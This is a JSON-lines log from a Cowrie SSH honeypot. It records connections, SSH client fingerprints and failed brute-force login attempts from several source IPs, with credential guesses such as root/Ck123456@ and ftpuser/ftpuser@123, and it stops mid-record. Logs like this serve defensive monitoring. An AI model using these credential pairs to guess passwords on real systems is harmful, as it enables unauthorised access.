{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:44:56.193828Z","src_ip":"176.147.144.172","session":"dd3027e940fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jay","password":"jay123","message":"login attempt [jay/jay123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:44:56.610785Z","src_ip":"176.147.144.172","session":"dd3027e940fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mailuser","password":"mailuser","message":"login attempt [mailuser/mailuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:44:56.803936Z","src_ip":"87.226.190.225","session":"7aef80e9734b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:44:57.708690Z","src_ip":"176.147.144.172","session":"dd3027e940fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:44:57.966053Z","src_ip":"87.226.190.225","session":"7aef80e9734b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.228.138","src_port":33194,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea75058affde","protocol":"ssh","message":"New connection: 137.184.228.138:33194 (159.203.135.109:22) [session: ea75058affde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:45:22.518812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:45:22.524945Z","src_ip":"137.184.228.138","session":"ea75058affde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:45:22.589015Z","src_ip":"137.184.228.138","session":"ea75058affde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ck123456@","message":"login attempt [root/Ck123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:45:22.870016Z","src_ip":"137.184.228.138","session":"ea75058affde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:45:23.936947Z","src_ip":"137.184.228.138","session":"ea75058affde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.91.81.195","src_port":33032,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca74a86a1145","protocol":"ssh","message":"New connection: 36.91.81.195:33032 (159.203.135.109:22) [session: ca74a86a1145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:45:33.810657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:45:33.815474Z","src_ip":"36.91.81.195","session":"ca74a86a1145","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:45:34.092352Z","src_ip":"36.91.81.195","session":"ca74a86a1145","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.227.177.11","src_port":33976,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a81b2247822","protocol":"ssh","message":"New connection: 4.227.177.11:33976 (10.17.0.5:22) [session: 4a81b2247822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:45:34.533802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:45:34.538342Z","src_ip":"4.227.177.11","session":"4a81b2247822","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:45:34.549000Z","src_ip":"4.227.177.11","session":"4a81b2247822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yu123456","message":"login attempt [root/Yu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:45:34.627553Z","src_ip":"4.227.177.11","session":"4a81b2247822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xp","message":"login attempt [root/xp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:45:35.230824Z","src_ip":"36.91.81.195","session":"ca74a86a1145","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:45:35.641917Z","src_ip":"4.227.177.11","session":"4a81b2247822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:45:36.511167Z","src_ip":"36.91.81.195","session":"ca74a86a1145","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.147.144.172","src_port":38758,"dst_ip":"159.203.135.109","dst_port":22,"session":"34ceaea1686e","protocol":"ssh","message":"New connection: 176.147.144.172:38758 (159.203.135.109:22) [session: 34ceaea1686e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:46:15.626959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:46:15.632285Z","src_ip":"176.147.144.172","session":"34ceaea1686e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:46:15.728282Z","src_ip":"176.147.144.172","session":"34ceaea1686e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser@123","message":"login attempt [ftpuser/ftpuser@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:46:16.140768Z","src_ip":"176.147.144.172","session":"34ceaea1686e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.226.190.225","src_port":48220,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d203c6e5cd5","protocol":"ssh","message":"New connection: 87.226.190.225:48220 (10.17.0.5:22) [session: 9d203c6e5cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:46:16.199660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:46:16.212397Z","src_ip":"87.226.190.225","session":"9d203c6e5cd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:46:16.377507Z","src_ip":"87.226.190.225","session":"9d203c6e5cd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"1","message":"login attempt [server/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:46:17.058851Z","src_ip":"87.226.190.225","session":"9d203c6e5cd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:46:17.239834Z","src_ip":"176.147.144.172","session":"34ceaea1686e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:46:18.224774Z","src_ip":"87.226.190.225","session":"9d203c6e5cd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":41574,"dst_ip":"159.203.135.109","dst_port":22,"session":"46d96d56d867","protocol":"ssh","message":"New connection: 80.66.85.226:41574 (159.203.135.109:22) [session: 46d96d56d867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:46:20.155282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:46:20.162958Z","src_ip":"80.66.85.226","session":"46d96d56d867","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:46:20.251884Z","src_ip":"80.66.85.226","session":"46d96d56d867","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11011991","message":"login attempt [root/11011991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:46:20.522965Z","src_ip":"80.66.85.226","session":"46d96d56d867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:46:21.617493Z","src_ip":"80.66.85.226","session":"46d96d56d867","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.228.138","src_port":33326,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6a627fa637c","protocol":"ssh","message":"New connection: 137.184.228.138:33326 (159.203.135.109:22) [session: f6a627fa637c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:46:46.969207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:46:46.973683Z","src_ip":"137.184.228.138","session":"f6a627fa637c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:46:47.051778Z","src_ip":"137.184.228.138","session":"f6a627fa637c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bbs","password":"bbs","message":"login attempt [bbs/bbs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:46:47.397083Z","src_ip":"137.184.228.138","session":"f6a627fa637c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:46:48.479174Z","src_ip":"137.184.228.138","session":"f6a627fa637c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":41846,"dst_ip":"159.203.135.109","dst_port":22,"session":"66a7942273da","protocol":"ssh","message":"New connection: 103.149.28.157:41846 (159.203.135.109:22) [session: 66a7942273da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:00.196550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:00.201437Z","src_ip":"103.149.28.157","session":"66a7942273da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"co